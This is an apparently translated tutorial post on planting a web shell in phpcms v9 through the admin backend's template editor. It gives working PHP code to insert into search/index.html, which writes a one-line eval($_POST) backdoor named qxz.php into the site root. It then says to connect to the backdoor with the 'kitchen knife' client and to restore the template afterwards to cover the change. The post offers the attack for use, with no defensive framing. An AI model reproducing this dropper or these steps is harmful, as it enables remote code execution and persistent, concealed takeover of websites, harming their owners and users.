How to get shell in phpcms

How to get the shell in phpcms: first log in to the phpcms background management; then click "Interface" -> "Template Style", and click "Detailed List"; then click the "search" folder; finally modify " index.html" and click "Visualize".

Remember the process of getting the shell in the phpcms v9 background once

After logging in to the background management, click on the interface, template style, Then click on the detailed list, as shown below:

Recommendation: "phpcms tutorial"

Then click search for this folder, as follows Picture:

Then click to modify the index.html file

Then copy the following code and submit it.

<?
$fp = @fopen(“qxz.php”, ‘a’);
@fwrite($fp, ‘<‘.’?php’.”\r\n\r\n”.’eval($_POST[hacker])’.”\r\n\r\n?”.”>\r\n”);
@fclose($fp);
?>

Tips: Back up the original code before modifying it, and change it back after getting the shell.

After submitting, click Visualize

In this way, your one-sentence Trojan client will be generated in the root directory of the website Terminal qxz.php

Pick up the kitchen knife link http://www.xxx.com/qxz.php

The above is the detailed content of How to get shell in phpcms. For more information, please follow other related articles on the PHP Chinese website!